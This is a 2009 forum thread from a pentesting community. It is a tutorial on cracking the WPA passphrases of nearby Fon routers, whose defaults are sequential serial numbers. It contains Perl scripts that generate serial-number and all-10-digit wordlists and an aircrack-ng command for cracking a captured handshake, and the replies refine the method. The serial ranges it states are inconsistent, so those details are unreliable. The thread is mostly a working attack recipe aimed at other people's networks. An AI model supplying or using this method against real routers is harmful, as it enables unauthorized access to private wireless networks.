Remote Exploit Forums

Go Back   Remote Exploit Forums > BackTrack 4 (pre) Final > BackTrack 4 Howto


BackTrack 4 Howto Tutorials and Howtos about BackTrack 4 (NOT for requesting tutorials or how to do anything)

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 10-24-2009, 02:31 PM
Reeth's Avatar
Senior Member
 
Join Date: Jun 2009
Location: /.../
Posts: 120
Send a message via ICQ to Reeth
Default How to Bruteforce a WPA Fon Wlan

Hey Community,


In this little Tutorial i'm gonna show you, hot to Bruteforce nearby Fon Routers

So the interesting thing which I note, is that a Fon AP's default WPA passphrase is it's serial number, printed under the box. These serial numbers are sequential, thus making it very easy to guess their entire range.

So for this i use a little Perl Script, which generates a file, included all Numbers from 807200000 till 8702555555
Code:
#!/usr/bin/perl
$n = 8702000000;
while ($n <= 8702555555) { system ("echo $n >> numbers.txt"); $n++; }
So then we need a WPA Handshake to try out. I'm not gonna describe how you get one because there are million Posts about it.

Then we Simply use Aircrack and start Bruteforcing

aircrack-ng fon-01.cap -w /root/fon/numbers.txt

So this is it Cracked.

IF you have further questions feel free to a PM or visit my Blog.
In German = My_0wn_Remote
In English = my_english_remote

I also created a littel Tutorial Video for this whole thing

YouTube - How to Bruteforce a nearby WPA Fon Wlan [3]

Maybee it is worth for the Video Section, i can't measure

=) Reeth
__________________
„ I'd rather be hated for who I am,
than be loved for who I am not."
Reply With Quote
  #2 (permalink)  
Old 10-25-2009, 03:37 AM
or4n9e's Avatar
Senior Member
 
Join Date: Sep 2008
Location: 49.51N, 08.39E
Posts: 135
Default

Quote:
included all Numbers from 807200000 till 8702555555
How do you come to that assumption? I have 7 Foneras (2100 model) and all my serial numbers are out of that particular range. JFYI, there already have been some efforts from FoneraHacks forums-member verticalfall to create precomputed WPA tables for the MyPlace SSID (covering several ranges of Fonera serial numbers) - unfortunately I cannot find the link currently though.

Nice project!
Reply With Quote
  #3 (permalink)  
Old 10-25-2009, 03:43 AM
Reeth's Avatar
Senior Member
 
Join Date: Jun 2009
Location: /.../
Posts: 120
Send a message via ICQ to Reeth
Default

hey or4n9e
yeah that could be possible, that it not fits in your country maybee they change the Serial Number in different Countries...but i don't think so...
I also have 2 Fonera 2100 Routers but they all got S/N with 8072....Numbers...
__________________
„ I'd rather be hated for who I am,
than be loved for who I am not."
Reply With Quote
  #4 (permalink)  
Old 10-25-2009, 03:55 AM
Gitsnik's Avatar
Senior Member
 
Join Date: Jun 2009
Location: The Crystal Wind
Posts: 494
Default

Quote:
Originally Posted by Reeth View Post
but they all got S/N with 8072....Numbers...
Have a look through the various forums around the place, I can assure you that, like the man said, they do not all fall within the 8072 range.

That said, the sheer size of the serial key not withstanding, you could just compute the numerics for all the possibilities at that width of serial numbers (10^10 or something - it's early and my math-fu is weak without coffee). It wouldn't even be hard to do, so let me try hack something up while I write this post (it will be untested ):
Code:
#!/usr/bin/perl
open(DICT, ">outputfile.txt") || die "Bugger: $!";
my $i = "0000000000";
while($i < 10000000000) {
    my $j = sprintf("%010d", $i);
    print DICT "$j\n";
    $i++;
}
close(DICT);
The numbers are large, you are dealing with 10,000,000,000 possibilities which is a lot, a pyrit box might be able to generate them fast enough, but for my taste that is a bit of a stretch.

That would work for any 10 numeric digit WPA key by the way, and removes the need for targeted mishaps like the original.

Also it removes that terrible call to echo which would slow the generation down.
__________________
Never underestimate the power of human stupidity - it is like a force of nature, capable of destroying even the most well laid plans.
Reply With Quote
  #5 (permalink)  
Old 10-25-2009, 04:59 PM
Snayler's Avatar
Senior Member
 
Join Date: Jul 2009
Location: World
Posts: 360
Default

My fon S/N starts with 8704... Seems that the only number that repeats itself is the first "8"...
Reply With Quote
  #6 (permalink)  
Old 10-25-2009, 05:51 PM
pureh@te's Avatar
Jenkem Addict
 
Join Date: Mar 2007
Location: /dev/null
Posts: 5,401
Default

I have a word list which contains all possible combinations of 10 digit hex and it is about 37 gigs, just FYI
Reply With Quote
  #7 (permalink)  
Old 10-25-2009, 10:36 PM
Reeth's Avatar
Senior Member
 
Join Date: Jun 2009
Location: /.../
Posts: 120
Send a message via ICQ to Reeth
Default

Quote:
My fon S/N starts with 8704... Seems that the only number that repeats itself is the first "8"...
you ment the first 3 ? because the range i did create was from 807200000 till 8702555555

@Snalyer what kind of fon did you use ?

What are the standard Ranges for

Fon ?
Fon+
.....
are there any correlations ?
__________________
„ I'd rather be hated for who I am,
than be loved for who I am not."
Reply With Quote
  #8 (permalink)  
Old 10-25-2009, 11:38 PM
Snayler's Avatar
Senior Member
 
Join Date: Jul 2009
Location: World
Posts: 360
Default

Quote:
Originally Posted by Reeth View Post
you ment the first 3 ? because the range i did create was from 807200000 till 8702555555
Sorry, i misread your post. I thought it was from 807200000 to 807255555. But still, it wouldn't get my default WPA password.

Quote:
Originally Posted by Reeth View Post
@Snalyer what kind of fon did you use ?
FON2100A/B/C
Reply With Quote
  #9 (permalink)  
Old 10-26-2009, 12:03 AM
Gitsnik's Avatar
Senior Member
 
Join Date: Jun 2009
Location: The Crystal Wind
Posts: 494
Default

Quote:
Originally Posted by pureh@te View Post
I have a word list which contains all possible combinations of 10 digit hex and it is about 37 gigs, just FYI
hex as in A to F as well?

How long does it take your pyrit box to get through that list (is it included in the timing stats we've already seen) ?
__________________
Never underestimate the power of human stupidity - it is like a force of nature, capable of destroying even the most well laid plans.
Reply With Quote
  #10 (permalink)  
Old 10-26-2009, 05:30 AM
kidFromBigD's Avatar
Senior Member
 
Join Date: Aug 2007
Posts: 119
Default

Quote:
Originally Posted by pureh@te View Post
I have a word list which contains all possible combinations of 10 digit hex and it is about 37 gigs, just FYI
Quote:
Originally Posted by Gitsnik View Post
hex as in A to F as well?

How long does it take your pyrit box to get through that list (is it included in the timing stats we've already seen) ?
Hey pureh@te -- do you mean to say your wordlist is 8 digits of hex, 0->F inclusive? I just did a quick calculation and that file would be ~37Gig, so just wondering if that's what you mean? Thanks!
__________________
"... the link budget is not a problem, we intend on splitting the bill."
Reply With Quote
Reply

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On



All times are GMT. The time now is 02:15 PM.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2009, Jelsoft Enterprises Ltd.
Search Engine Optimization by vBSEO 3.3.2